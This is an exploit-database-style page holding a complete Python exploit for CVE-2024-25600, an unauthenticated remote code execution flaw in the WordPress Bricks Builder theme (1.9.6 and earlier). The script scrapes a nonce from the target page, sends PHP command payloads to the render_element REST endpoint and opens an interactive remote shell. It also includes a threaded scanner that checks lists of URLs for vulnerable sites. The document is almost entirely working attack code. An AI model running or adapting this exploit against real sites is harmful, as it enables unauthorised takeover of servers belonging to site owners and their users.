WordPress Bricks Builder Theme – RCE
# Exploit Title: WordPress Bricks Builder Theme - RCE # Date: 2026-06-25 # Exploit Author: Jared Brits (K3ysTr0K3R) # Vendor Homepage: https://bricksbuilder.io/ # Software Link: https://bricksbuilder.io/ # Version: Bricks Builder <= 1.9.6 # Tested On: Kali Linux 2026.1 / WordPress 6.7 # CVE: CVE-2024-25600 # Description: Unauthenticated RCE vulnerability in Bricks Builder theme's # render_element endpoint. Extracts nonce from page source and # executes arbitrary commands on vulnerable WordPress installations. import re import requests import argparse import threading from bs4 import BeautifulSoup from rich.console import Console from prompt_toolkit import PromptSession, HTML from prompt_toolkit.history import InMemoryHistory from prompt_toolkit.auto_suggest import AutoSuggestFromHistory from concurrent.futures import ThreadPoolExecutor, as_completed from alive_progress import alive_bar color = Console() def ascii_art(): color.print("""[yellow] _______ ________ ___ ____ ___ __ __ ___ ___________ ____ ____ / ____/ | / / ____/ |__ \ / __ \__ \/ // / |__ \ / ____/ ___// __ \/ __ \\ / / | | / / __/________/ // / / /_/ / // /_________/ //___ \/ __ \/ / / / / / / / /___ | |/ / /__/_____/ __// /_/ / __/__ __/_____/ __/____/ / /_/ / /_/ / /_/ / \____/ |___/_____/ /____/\____/____/ /_/ /____/_____/\____/\____/\____/ [/yellow]""", style="bold") print("Coded By: Jared Brits (K3ysTr0K3R) --> Hello, Friend!") print("") headers = { "Content-Type": "application/json", "User-Agent": "Mozilla/5.0 (Linux; Android 11; SM-G960U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Mobile Safari/537.36" } paths = [ "/wp-json/bricks/v1/render_element", "/?rest_route=/bricks/v1/render_element" ] requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning) def fetch_nonce(target): try: response = requests.get(target, verify=False, timeout=10) response.raise_for_status() soup = BeautifulSoup(response.text, "html.parser") script_tag = soup.find("script", id="bricks-scripts-js-extra") if script_tag: match = re.search(r'"nonce":"([a-f0-9]+)"', script_tag.string) if match: nonce = match.group(1) return nonce except Exception: return None def interactive_shell(target, nonce): color.print("[bold bright_green][+][/bold bright_green] Interactive shell opened successfully") session = PromptSession(history=InMemoryHistory()) for vulnerable_path in paths: while True: try: command = session.prompt( HTML("<ansired><b>Shell> </b></ansired>"), auto_suggest=AutoSuggestFromHistory(), ) if command.lower() == "exit": return vulnerable_data = create_vulnerable_data(nonce, command) response = requests.post(target + vulnerable_path, headers=headers, json=vulnerable_data, verify=False, timeout=10) output = response.json().get('data').get('html') cleaned_output = output.replace("Exception: ", "") print(cleaned_output) except KeyboardInterrupt: return def create_vulnerable_data(nonce, command): return { "postId": "1", "nonce": nonce, "element": { "name": "code", "settings": { "executeCode": "true", "code": f"<?php throw new Exception(`{command}`);?>" } } } def exploit(target): nonce = fetch_nonce(target) if nonce: elements = [create_element(nonce) for _ in range(4)] for path, element in zip(paths, elements): if exploit_successful(target, path, element): interactive_shell(target, nonce) break def exploit_successful(target, path, element): color.print("[bold bright_blue][*][/bold bright_blue] Checking if the target is vulnerable") try: response = requests.post(target + path, headers=headers, json=element, verify=False, timeout=10) response.raise_for_status() if response.status_code == 200 and 'KHABuhwxnUHDDW' in response.text: color.print("[bold bright_green][+][/bold bright_green] The target is vulnerable") color.print(f"[bold bright_blue][*][/bold bright_blue] Initiating exploit against: [bold cyan]{target}[/bold cyan]") color.print("[bold bright_blue][*][/bold bright_blue] Initiating interactive shell") return True else: color.print("[bold bright_red][~][/bold bright_red] The target does not appear to be vulnerable") exit() except requests.exceptions.HTTPError: color.print("[bold bright_red][~][/bold bright_red] The target does not appear to be vulnerable") return False def create_element(nonce): return { "postId": "1", "nonce": nonce, "element": { "name": "container", "settings": { "hasLoop": "true", "query": { "useQueryEditor": True, "queryEditor": "throw new Exception(`echo KHABuhwxnUHDDW`);", "objectType": "post" } } } } def scanner(target, nonce): for path in paths: try: response = requests.post(target + path, headers=headers, json=create_element(nonce), verify=False, timeout=10) response.raise_for_status() if response.status_code == 200 and 'KHABuhwxnUHDDW' in response.text: color.print(f"[bold bright_green][+][/bold bright_green] Identified vulnerability in target: [bold cyan]{target}[/bold cyan]") break except Exception: pass def threaded_scanner(url, nonce): if nonce: scanner(url, nonce) def scan_file(target_file, threads): with open(target_file, "r") as url_file: urls = [url.strip() for url in url_file if url.strip()] if not urls: color.print("[bold bright_red][~][/bold bright_red] No URLs found in the file.") return max_threads = threads semaphore = threading.Semaphore(value=max_threads) def thread_task(url): nonce = fetch_nonce(url) with semaphore: threaded_scanner(url, nonce) bar() threads = [] with alive_bar(len(urls), title="Scanning Targets", bar="smooth", enrich_print=False) as bar: for url in urls: thread = threading.Thread(target=thread_task, args=(url,)) threads.append(thread) thread.start() for thread in threads: thread.join() def main(): ascii_art() parser = argparse.ArgumentParser(description='A PoC exploit for CVE-2024-25600 - WordPress Bricks Builder Unauthenticated Remote Code Execution (RCE)') parser.add_argument('-u', '--url', help='Target URL to exploit') parser.add_argument('-t', '--threads', type=int, default=1, help='Adjust threading to your needs') parser.add_argument('-f', '--file', help='File containing URLs to scan') args = parser.parse_args() if args.url: exploit(args.url) elif args.file: scan_file(args.file, args.threads) else: parser.print_help() if __name__ == "__main__": main() |